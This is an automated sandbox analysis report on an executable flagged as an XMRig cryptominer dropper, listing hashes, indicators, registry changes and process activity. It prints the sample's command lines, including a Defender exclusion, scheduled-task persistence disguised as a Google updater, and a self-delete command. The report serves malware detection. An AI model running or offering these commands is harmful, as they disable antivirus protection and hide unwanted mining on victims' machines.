Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4260 created 3496 4260 LM3BR4UBmKBzBP5H.exe 39 PID 4260 created 3496 4260 LM3BR4UBmKBzBP5H.exe 39 PID 4260 created 3496 4260 LM3BR4UBmKBzBP5H.exe 39 PID 4260 created 3496 4260 LM3BR4UBmKBzBP5H.exe 39 PID 4036 created 3496 4036 updater.exe 39 PID 4036 created 3496 4036 updater.exe 39 PID 4036 created 3496 4036 updater.exe 39 PID 2052 created 3496 2052 conhost.exe 39 PID 4036 created 3496 4036 updater.exe 39 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral18/memory/2484-128-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-132-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-134-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-135-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-137-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-141-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-143-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-145-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-147-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-149-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-151-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-153-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-155-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-157-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-159-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-161-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-163-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-165-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-167-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-169-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-171-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-173-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-175-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-177-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-179-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-181-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-183-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-189-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-191-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig behavioral18/memory/2484-193-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4036 updater.exe -
resource yara_rule behavioral18/memory/2484-125-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-128-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-132-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-134-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-135-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-137-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-141-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-143-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-145-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-147-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-149-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-151-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-153-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-155-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-157-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-159-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-161-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-163-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-165-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-167-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-169-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-171-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-173-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-175-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-177-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-179-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-181-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-183-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-189-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-191-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx behavioral18/memory/2484-193-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4036 set thread context of 2052 4036 updater.exe 116 PID 4036 set thread context of 2484 4036 updater.exe 118 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe LM3BR4UBmKBzBP5H.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2788 WMIC.exe 4784 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4260 LM3BR4UBmKBzBP5H.exe 4260 LM3BR4UBmKBzBP5H.exe 3312 powershell.exe 3312 powershell.exe 4260 LM3BR4UBmKBzBP5H.exe 4260 LM3BR4UBmKBzBP5H.exe 4332 powershell.exe 4332 powershell.exe 4260 LM3BR4UBmKBzBP5H.exe 4260 LM3BR4UBmKBzBP5H.exe 4260 LM3BR4UBmKBzBP5H.exe 4260 LM3BR4UBmKBzBP5H.exe 3216 powershell.exe 3216 powershell.exe 4036 updater.exe 4036 updater.exe 1816 powershell.exe 1816 powershell.exe 4036 updater.exe 4036 updater.exe 4648 powershell.exe 4648 powershell.exe 4036 updater.exe 4036 updater.exe 2052 conhost.exe 2052 conhost.exe 4036 updater.exe 4036 updater.exe 4036 updater.exe 4036 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3312 powershell.exe Token: SeDebugPrivilege 4332 powershell.exe Token: SeIncreaseQuotaPrivilege 4332 powershell.exe Token: SeSecurityPrivilege 4332 powershell.exe Token: SeTakeOwnershipPrivilege 4332 powershell.exe Token: SeLoadDriverPrivilege 4332 powershell.exe Token: SeSystemProfilePrivilege 4332 powershell.exe Token: SeSystemtimePrivilege 4332 powershell.exe Token: SeProfSingleProcessPrivilege 4332 powershell.exe Token: SeIncBasePriorityPrivilege 4332 powershell.exe Token: SeCreatePagefilePrivilege 4332 powershell.exe Token: SeBackupPrivilege 4332 powershell.exe Token: SeRestorePrivilege 4332 powershell.exe Token: SeShutdownPrivilege 4332 powershell.exe Token: SeDebugPrivilege 4332 powershell.exe Token: SeSystemEnvironmentPrivilege 4332 powershell.exe Token: SeRemoteShutdownPrivilege 4332 powershell.exe Token: SeUndockPrivilege 4332 powershell.exe Token: SeManageVolumePrivilege 4332 powershell.exe Token: 33 4332 powershell.exe Token: 34 4332 powershell.exe Token: 35 4332 powershell.exe Token: 36 4332 powershell.exe Token: SeIncreaseQuotaPrivilege 4332 powershell.exe Token: SeSecurityPrivilege 4332 powershell.exe Token: SeTakeOwnershipPrivilege 4332 powershell.exe Token: SeLoadDriverPrivilege 4332 powershell.exe Token: SeSystemProfilePrivilege 4332 powershell.exe Token: SeSystemtimePrivilege 4332 powershell.exe Token: SeProfSingleProcessPrivilege 4332 powershell.exe Token: SeIncBasePriorityPrivilege 4332 powershell.exe Token: SeCreatePagefilePrivilege 4332 powershell.exe Token: SeBackupPrivilege 4332 powershell.exe Token: SeRestorePrivilege 4332 powershell.exe Token: SeShutdownPrivilege 4332 powershell.exe Token: SeDebugPrivilege 4332 powershell.exe Token: SeSystemEnvironmentPrivilege 4332 powershell.exe Token: SeRemoteShutdownPrivilege 4332 powershell.exe Token: SeUndockPrivilege 4332 powershell.exe Token: SeManageVolumePrivilege 4332 powershell.exe Token: 33 4332 powershell.exe Token: 34 4332 powershell.exe Token: 35 4332 powershell.exe Token: 36 4332 powershell.exe Token: SeIncreaseQuotaPrivilege 4332 powershell.exe Token: SeSecurityPrivilege 4332 powershell.exe Token: SeTakeOwnershipPrivilege 4332 powershell.exe Token: SeLoadDriverPrivilege 4332 powershell.exe Token: SeSystemProfilePrivilege 4332 powershell.exe Token: SeSystemtimePrivilege 4332 powershell.exe Token: SeProfSingleProcessPrivilege 4332 powershell.exe Token: SeIncBasePriorityPrivilege 4332 powershell.exe Token: SeCreatePagefilePrivilege 4332 powershell.exe Token: SeBackupPrivilege 4332 powershell.exe Token: SeRestorePrivilege 4332 powershell.exe Token: SeShutdownPrivilege 4332 powershell.exe Token: SeDebugPrivilege 4332 powershell.exe Token: SeSystemEnvironmentPrivilege 4332 powershell.exe Token: SeRemoteShutdownPrivilege 4332 powershell.exe Token: SeUndockPrivilege 4332 powershell.exe Token: SeManageVolumePrivilege 4332 powershell.exe Token: 33 4332 powershell.exe Token: 34 4332 powershell.exe Token: 35 4332 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3624 wrote to memory of 768 3624 cmd.exe 102 PID 3624 wrote to memory of 768 3624 cmd.exe 102 PID 3216 wrote to memory of 1104 3216 powershell.exe 105 PID 3216 wrote to memory of 1104 3216 powershell.exe 105 PID 4036 wrote to memory of 2052 4036 updater.exe 116 PID 4592 wrote to memory of 2788 4592 cmd.exe 114 PID 4592 wrote to memory of 2788 4592 cmd.exe 114 PID 3112 wrote to memory of 4784 3112 cmd.exe 117 PID 3112 wrote to memory of 4784 3112 cmd.exe 117 PID 4036 wrote to memory of 2484 4036 updater.exe 118 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3496
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4260
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3312
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4332
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1104
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1816
